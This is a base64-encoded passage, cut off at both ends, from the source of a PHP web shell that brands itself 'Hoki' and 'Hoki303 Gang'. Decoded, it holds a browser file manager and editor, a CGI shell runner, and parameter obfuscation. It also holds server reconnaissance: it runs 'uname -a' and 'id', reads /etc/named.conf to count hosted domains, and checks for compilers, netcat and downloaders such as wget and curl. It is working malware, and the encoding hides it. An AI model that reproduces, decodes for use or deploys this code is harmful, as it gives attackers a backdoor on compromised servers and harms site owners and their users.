SxhKXt2YXIgdD1kLm1mLmMudmFsdWUrIi8iLGk9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrYSsiLyIsbD1lZGl0b3JfZmlsZXNbZV0ucHdkKyIvIitlZGl0b3JfZmlsZXNbZV0uZmlsZSsiLyI7Zm9yKHZhciBvIGluIGk9aS5yZXBsYWNlKC9cL1wv
L2csIi8iKSxsPWwucmVwbGFjZSgvXC9cLy9nLCIvIiksLTEhPSh0PXQucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGluaXREaXIodC5yZXBsYWNlKGksbCkpLGQubWYuYy52YWx1ZT10LnJlcGxhY2UoaSxsKSksZWRpdG9yX2ZpbGV
zKXt2YXIgcj1lZGl0b3JfZmlsZXNbb10ucHdkKyIvIjstMSE9KHI9ci5yZXBsYWNlKC9cL1wvL2csIi8iKSkuc2VhcmNoKGkpJiYoZWRpdG9yX2ZpbGVzW29dLnB3ZD1yLnJlcGxhY2UoaSxsKSl9dXBkYXRlQ29va2llRWRpdG9yKCl9ZnVuY3Rpb2
4gdXBkYXRlQ29va2llRWRpdG9yKCl7c2V0Q29va2llKCJob2tpX2hpc3RvcnlfZmlsZXMiLGJ0b2EoSlNPTi5zdHJpbmdpZnkoZWRpdG9yX2ZpbGVzKSksMjAxMil9ZnVuY3Rpb24gc2V0RWRpdG9yVGl0bGUoZSxhKXtpZigib3V0Ij09YSYmIiIhP
WVkaXRvcl9jdXJyZW50X2ZpbGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpO2U9bnVsbCE9dD90LmdldEF0dHJpYnV0ZSgib3B0X2lkIikucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8i
LCJmaWxlXyIpOmVkaXRvcl9jdXJyZW50X2ZpbGV9ZWRpdG9yX2ZpbGVzW2VdJiYoZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTD0oZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2V
dLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKX1mdW5jdGlvbiByZW1vdmVIaXN0b3J5KGUpe2RlbGV0ZSBlZGl0b3JfZmlsZXNbZV0sJChlKSYmJChlKS5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoJChlKS5wYXJlbnROb2RlKT
t2YXIgYT1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZpbGVzdG9vbHMiKVswXTthJiZhLmdldEF0dHJpYnV0ZSgiZmlkIik9PWUmJihhLm91dGVySFRNTD0iIiksZWRpdG9yX2N1cnJlbnRfZmlsZT09ZSYmKGVkaXRvcl9jdXJyZW50X2ZpbGU9I
iIpLHVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIGdldFJhbmRvbShlKXtmb3IodmFyIGE9IiIsdD0iMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiLGk9dm9pZCAwPT09ZT8y
MDplO2k+MDstLWkpYSs9dFtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqdC5sZW5ndGgpXTtyZXR1cm4gYX1mdW5jdGlvbiByZW9wZW4oZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImlkIiksdD1lZGl0b3JfZmlsZXNbYV0ucHdkLGk9ZWRpdG9yX2Z
pbGVzW2FdLmZpbGUsbD0iZWRpdG9yX3NvdXJjZV8iK2EucmVwbGFjZSgiZmlsZV8iLCIiKTtudWxsPT0kKGwpP2VkaXRvcihpLCJhdXRvIiwiIix0LGEpOmVkaXRvclRhYkNvbnRyb2xsZXIobCwhMCl9ZnVuY3Rpb24gY29weVRvQ2xpcGJvYXJkKG
Upe2U9ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpO3ZhciBhPWhva2lfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi50b0pTT04oKTtob2tpX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3RBbGwoKSxob2tpX2FjZV9lZGl0b3JzLmVka
XRvcltlXS5mb2N1cygpLGRvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5IiksaG9raV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0aW9uLmZyb21KU09OKGEpLGhva2lTaG93Tm90aWZpY2F0aW9uKCJ0ZXh0IGNvcGllZCIsIkVkaXRvciIpfWZ1
bmN0aW9uIGVuY3J5cHQoZSxhKXtpZihudWxsPT1hfHxhLmxlbmd0aDw9MClyZXR1cm4gbnVsbDtlPWhva2liNjQoZSwhMCksYT1ob2tpYjY0KGEsITApO2Zvcih2YXIgdD0iIixpPSIiLGw9MDtsPGUubGVuZ3RoOylmb3IodmFyIG89MDtvPGEubGV
uZ3RoJiYodD1lLmNoYXJDb2RlQXQobCleYS5jaGFyQ29kZUF0KG8pLGkrPVN0cmluZy5mcm9tQ2hhckNvZGUodCksISgrK2w+PWUubGVuZ3RoKSk7bysrKTtyZXR1cm4gaG9raWI2NChpLCEwKX1mdW5jdGlvbiByZWxvYWRTZXR0aW5nKGUpe3JldH
VybiBob2tpbG9hZGVyKGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZCwiYmxvY2siKSxfQWpheChkLlVSTCwiYT0iK2hva2liNjQoInNldHRpbmdzIikrIiZob2tpMT0iK2hva2liNjQoZS5wcm90ZWN0LnZhbHVlKSsiJmhva2kyPSIraG9raWI2NChlL
mxncGFnZS52YWx1ZSkrIiZob2tpMz0iK2hva2liNjQoZS51c2VybmFtZS52YWx1ZSkrIiZob2tpND0iK2hva2liNjQoZS5wYXNzd29yZC52YWx1ZSkrIiZob2tpNT0iK2hva2liNjQoIj4+IikrIiZob2tpNj0iK2hva2liNjQoZS5pY29uLnZhbHVl
KSsiJmhva2k3PSIraG9raWI2NChlLnBvc3RfZW5jcnlwdC52YWx1ZSkrIiZob2tpOD0iK2hva2liNjQoIm1haW4iKSsiJmhva2k5PSIraG9raWI2NChlLmNnaV9hcGkudmFsdWUpKyImYz0iK2hva2liNjQoY18pKyImYWpheD0iK2hva2liNjQoInR
ydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcE9wVGlvbnMoYSxlKSxldmFsSlMoZSksaG9raWxvYWRlcihhLCJub25lIil9LCExLGhva2lfYmVmb3JlX2RvX2FjdGlvbl9pZCksaG9raV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLDA9PWUuZS52YW
x1ZSYmMT09ZS5wcm90ZWN0LnZhbHVlJiZzZXRUaW1lb3V0KCJsb2NhdGlvbi5yZWxvYWQoKSIsMWUzKSxlLnMudmFsdWUhPWUuaWNvbi52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksITF9ZnVuY3Rpb24gcmVsb2FkQ
29sb3JzKGUpe3ZhciBhPXt9O3ZvaWQgMD09PWU/ZC5xdWVyeVNlbGVjdG9yQWxsKCIuY29sb3JzX2lucHV0IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IikucmVwbGFjZSgiLiIsIiIpO2FbdF09ZS52
YWx1ZX0pOmE9ZTt2YXIgdD0kKCJ1c2VfZGVmYXVsdF9jb2xvciIpLmNoZWNrZWQ/IjEiOiIwIjtfQWpheChkLlVSTCwiYT0iK2hva2liNjQoInNldHRpbmdzIikrIiZob2tpMT0iK2hva2liNjQoSlNPTi5zdHJpbmdpZnkoYSkpKyImaG9raTI9Iit
ob2tpYjY0KCI+PiIpKyImaG9raTM9Iitob2tpYjY0KHQpKyImaG9raTg9Iitob2tpYjY0KCJjb2xvciIpKyImYz0iK2hva2liNjQoY18pKyImYWpheD0iK2hva2liNjQoInRydWUiKSxmdW5jdGlvbihlKXtldmFsSlMoZSl9LCEwKX1mdW5jdGlvbi
Bob2tpYjY0KGUsYSl7cmV0dXJuIHZvaWQgMCE9PWF8fDA9PXBvc3RfZW5jcnlwdGlvbl9tb2RlP3dpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChlKSkpOmVuY3J5cHQoZSwiPD9waHAgZWNobyBfX0hPS0lfU0VDUkVUX0tFW
V9fOyA/PiIpfWZ1bmN0aW9uIGV2YWxDc3MoZSl7dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3R5bGUiKTthLnN0eWxlU2hlZXQ/YS5zdHlsZVNoZWV0LmNzc1RleHQ9ZTphLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2Rl
KGUpKSxkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYSl9ZnVuY3Rpb24gY29sb3JIYW5kbGVyS2V5KGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oYSl7Y29sb3JIYW5kbGVyKGUpfSwyMDApfWZ1bmN0aW9uIGNvbG9
ySGFuZGxlcihlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksdD1lLmdldEF0dHJpYnV0ZSgibXVsdGkiKSxsPWEuaW5kZXhPZigiOmhvdmVyIik7aWYodCl7dmFyIG89SlNPTi5wYXJzZShhdG9iKHQpKSxyPSIiO2ZvcihpIGluIG8ubX
VsdGlfc2VsZWN0b3Ipcis9aSsieyIrby5tdWx0aV9zZWxlY3RvcltpXS5yZXBsYWNlKC97Y29sb3J9L2csZS52YWx1ZSkrIn0iO2V2YWxDc3Mocil9LTE9PWx8fHQ/KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJ
CgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsIi5oZWFkZXJfdmFsdWVzIj09YSYmKGE9Ii5oZWFkZXIsLmhlYWRlcl92YWx1ZXMiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoYSkuZm9yRWFjaChmdW5jdGlvbihhKXthLnN0eWxl
LmNvbG9yPWUudmFsdWV9KSk6KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsZXZhbENzcyhhKyJ7Y29sb3I6ICIrZS52YWx1ZSsiO30iKSl
9ZnVuY3Rpb24gaW1wb3J0Q29uZmlnKGUpe3ZhciBhPWUudGFyZ2V0LHQ9bmV3IEZpbGVSZWFkZXI7dC5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgZT10LnJlc3VsdDt0cnl7cmVsb2FkQ29sb3JzKEpTT04ucGFyc2UoZSkpfWNhdGNoKGUpe2FsZXJ0KC
JDb25maWcgaXMgaW52YWxpZC4uLiEiKX0kKCJpbXBvcnRGaWxlQnRuIikudmFsdWU9IiJ9LHQucmVhZEFzVGV4dChhLmZpbGVzWzBdKX1mdW5jdGlvbiBjaGVja0JveChlKXt2YXIgYT1ob2tpX2N1cnJlbnRfZm1faWQsdD1lLmNoZWNrZWQ7ZC5xd
WVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZD10fSl9ZnVuY3Rpb24gcnVuY2dpKGUpe2lmKCQoImNn
aWZyYW1lIikuc3R5bGUuaGVpZ2h0PSJ1bnNldCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyLW1pbmltaXplZCAubWluaW1pemVkLXRleHQiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQ
tdGl0bGUiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsY2dpX2lzX21pbmltaXplZCYmY2dpX2xhbmc9PWUmJihzaG93RWRpdG9yKCJjZ2lsb2FkZXIiKSwwPT1waHBfdGVtcmluYWxfdXNpbmdfY2dpKSlyZXR1cm4hMTtwaHBfdGVtcmluYWxfdXNpbm
dfY2dpPSExLF9BamF4KGQuVVJMLCJhPSIraG9raWI2NCgiY2dpc2hlbGwiKSsiJmhva2kxPSIraG9raWI2NChlKSsiJmFqYXg9Iitob2tpYjY0KCJ0cnVlIiksZnVuY3Rpb24oYSl7ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLCQoImNna
WxvYWRlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtY29udGVudHMiKS5pbm5l
ckhUTUw9YSxjZ2lfbGFuZz1lLGNnaV9pc19taW5pbWl6ZWQmJigkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1oaWRlIiksc2V0VGltZW91dChmdW5jdGlvbigpeyQoImNnaWxvYWRlciIpLnJ
lbW92ZUF0dHJpYnV0ZSgiY2xhc3MiKSxpc19taW5pbWl6ZWQmJigkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKX0sMWUzKSl9KX1FbGVtZW50LnByb3RvdHlwZS5hcHBlbmRBZnRlcj1mdW5jdGlvbihlKXtlLnBhcmVudE5vZG
UuaW5zZXJ0QmVmb3JlKHRoaXMsZS5uZXh0U2libGluZyl9Owo8L3NjcmlwdD4KPD9waHAgZWNobyI8Zm9ybSBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2RsRm9ybScgYWN0aW9uPScnIHRhcmdldD0nX2JsYW5rJyBtZXRob2Q9J3Bvc3QnPgo8a
W5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZGxmaWxlJz4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYycgdmFsdWU9Jyc+CjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2ZpbGUnIHZhbHVlPScnPgo8L2Zvcm0+CjxpbnB1
dCB0eXBlPSdmaWxlJyBzdHlsZT0nZGlzcGxheTpub25lOycgaWQ9J2ltcG9ydEZpbGVCdG4nIG9uY2hhbmdlPSdpbXBvcnRDb25maWcoZXZlbnQpOyc+CjxkaXYgaWQ9J2FfbG9hZGVyJz48aW1nIHNyYz0naHR0cHM6Ly9wbmcucG5ndHJlZS5jb20
vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIi5fX3Nob3dpY29uKCdsb2
FkZXInKS4iJz48L2Rpdj4iOwokY21kX3VuYW1lID0gaG9raUV4KCJ1bmFtZSAtYSIsZmFsc2UsZmFsc2UpOwokdW5hbWUgPSBmdW5jdGlvbl9leGlzdHMoJ3BocF91bmFtZScpID8gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwgMTIwKSA6IChzdHJsZ
W4oJGNtZF91bmFtZSk+MD8kY21kX3VuYW1lOicoIHBocF91bmFtZSApIEZ1bmN0aW9uIERpc2FibGVkICEnKTsKaWYoJHVuYW1lPT0iKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhIil7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hl
YWRlciJdPSJ0cnVlIjt9CmVjaG8gJwo8L2hlYWQ+Cjxib2R5IGJnY29sb3I9IiMwMDAwMDAiIGxlZnRtYXJnaW49IjAiIHRvcG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+CjxkaXYgaWQ9InVwX2Jhcl9ob2xkZXI
iPjwvZGl2Pgo8ZGl2IGNsYXNzPSJ3aG9sZSI+Cjxmb3JtIG1ldGhvZD0icG9zdCIgbmFtZT0ibWYiIHN0eWxlPSJkaXNwbGF5Om5vbmU7Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im
MiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4nOwpmb3IoJHM9MTskczw9MTA7JHMrKyl7CmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Imhva2knLiRzLiciPic7Cn0KZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY
2hhcnNldCI+CjwvZm9ybT4KPGRpdiBpZD1cJ2hpZGRlbl9zaFwnPjxhIGNsYXNzPSJhbGVydF9ncmVlbiIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Ij9raXNlcnlvdW5pIj48c3BhbiBzdHlsZT0iY29sb3I6IzQyZmY1OTsiPicuX19IT0tJX0NPREVf
TkFNRV9fLic8L3NwYW4+PGJyPjxzbWFsbD5WZXJzaW9uOiA8c3BhbiBjbGFzcz0iaGlkZGVuX3NoZWxsX3ZlcnNpb24iPicuX19IT0tJX1ZFUlNJT05fXy4nPC9zcGFuPjwvc21hbGw+PC9hPjwvZGl2Pgo8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJ
sZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4KPHRyPgo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVuYW1lOjwvc3Bhbj48L3RkPgo8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPS
JoZWFkZXJfdW5hbWUiPicuJHVuYW1lLic8L3NwYW4+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VyOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfd
XNlcmlkIj4nLiAkdWlkIC4gJyBbICcgLiAkdXNlciAuICcgXSA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gR3JvdXA6IDwvc3Bhbj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9ncm91cGlkIj4nIC4gJGdp
ZCAuICcgWyAnIC4gJGdyb3VwIC4gJyBdPC9zcGFuPiA8L3RkPgo8dGQgd2lkdGg9IjEyJSIgcm93c3Bhbj0iOCI+PGltZyBzdHlsZT0iYm9yZGVyLXJhZGl1czoxMDBweDsiIHdpZHRoPSIzMDAiIGhlaWdodD0iMTcwIiBhbHQ9Ikhva2kzMDMgR2F
uZyIgZHJhZ2dhYmxlPSJmYWxzZSIgc3JjPSJodHRwczovL2kuaWJiLmNvLmNvbS9Hc3YzTU5HL2xvZ28ucG5nIiAvPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+UEhQOjwvc3Bhbj48L3RkPgo8dGQ+PGI+Jy
5AcGhwdmVyc2lvbigpLiAnIDwvYj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlIE1vZGU6ICcuJHNhZmVfbW9kZXMuJzwvc3Bhbj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNlcnZlcklQOjwvc
3Bhbj48L3RkPgo8dGQ+PGI+Jy4oIUAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXT8oZnVuY3Rpb25fZXhpc3RzKCJnZXRob3N0YnluYW1lIik/QGdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pOic/Pz8/Jyk6QCRfU0VSVkVSWyJT
RVJWRVJfQUREUiJdKS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+WW91ciBJUDo8L3NwYW4+PGI+ICcuQCRfU0V
SVkVSWyJSRU1PVEVfQUREUiJdLic8L2I+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmU7ZGlzcGxheTpub25lOyIgY2xhc3M9ImZsYWctaG9sZGVyIj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZW
FkZXJfdmFycyI+RGF0ZVRpbWU6PC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLmRhdGUoJ1ktbS1kIEg6aTpzJykuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvbWFpbnM6PC9zcGFuP
jwvdGQ+Cjx0ZCB3aWR0aD0iNzYlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb21haW5zIj4nOwppZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CiRkMG1haW5zID0gX2hva2lfZmlsZSgiL2V0Yy9uYW1lZC5jb25m
IixmYWxzZSk7CmlmKCEkZDBtYWlucyl7ZWNobyAiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fWVsc2V7CiRjb3VudD0wOwpmb3JlYWNoKCRkMG1haW5zIGFzICR
kMG1haW4pewppZihAc3Ryc3RyKCRkMG1haW4sInpvbmUiKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwpmbHVzaCgpOwppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7CmZsdX
NoKCk7CiRjb3VudCsrO319fQplY2hvICIkY291bnQgRG9tYWlucyI7fX0KZWxzZXtlY2hvKCJDYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXSIpO30KZWNobyAnPC9zcGFuPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTYiPjxzcGFuI
GNsYXNzPSJoZWFkZXJfdmFycyI+SEREOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Ub3RhbDo8L3NwYW4+PGI+Jy5ob2tpU2l6ZSgkdG90YWxTcGFjZSkuJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5G
cmVlOjwvc3Bhbj48Yj4nIC4gaG9raVNpemUoJGZyZWVTcGFjZSkgLiAnIFsnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyVdPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokdXNlZnV
sX2Rvd25sb2FkZXIgPSAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPnVzZWZ1bDo8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdXNlZnVsIj4tLS0tLS
0tLS0tLS0tLTwvc3Bhbj48L3RkPjwvdHI+PHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG93b
mxvYWRlciI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPic7CmlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpewppZihzdHJsZW4oaG9raUV4KCJpZCIsZmFsc2UsZmFsc2UpKT4wKXsKZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xz
cGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZWZ1bCA6IDwvc3Bhbj4nOwokdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCc
sJ2J6aXAnLCdiemlob2tpMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKJHg9MDsKZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSlpZihob2tpV2hpY2goJGl0ZW0pKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdH
lsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0uJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX3VzZWZ1bCc+LS0tLS0tLS0tLS0tLS08L3NwYW4+IjskR0xPQkFMU1sib
mVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fQplY2hvICc8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPic7CiRkb3dubG9h
ZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwokeD0wOwpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpaWYoaG9raVdoaWNoKCRpdGVtMikpeyR4Kys7ZWNobyA
nPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jy4kaXRlbTIuJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX2Rvd25sb2FkZX
InPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4nOwp9ZWxzZXsKZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fd
XBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICR1c2VmdWxfZG93bmxvYWRlcjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7Cn0KfWVsc2V7CmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29s
c3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5XaW5kb3dzOjwvc3Bhbj48Yj4nOwplY2hvIGhva2lFeCgndmVyJyxmYWxzZSxmYWxzZSk7CmVjaG8gJzwvdGQ+CjwvdHI+IDx0cj4KPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHN
wYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PGI+LS0tLS0tLS0tLS0tLTwvYj48L3RkPgo8L3RyPjwvYj4nOwp9CiRxdW90ZXMgPSAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpP2dldF9tYW
dpY19xdW90ZXNfZ3BjKCk6JzAnKTtpZiAoJHF1b3RlcyA9PSAiMSIgb3IgJHF1b3RlcyA9PSAib24iKXskbWFnaWMgPSAnPGI+PHNwYW4gY2xhc3M9ImhlYWRlcl9vbiI+T048L3NwYW4+Jzt9ZWxzZXskbWFnaWMgPSAnPHNwYW4gY2xhc3M9ImhlY
WRlcl9vZmYiPk9GRjwvc3Bhbj4nO30KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EaXNhYmxlIEZ1bmN0aW9uczogPC9zcGFuPjxiPicuSG9raV9HZXREaXNhYmxlX0Z1bmN0
aW9uKCkuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkNVUkwgOjwvc3Bhbj4nLiRjdXJsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNTSDIgOiA
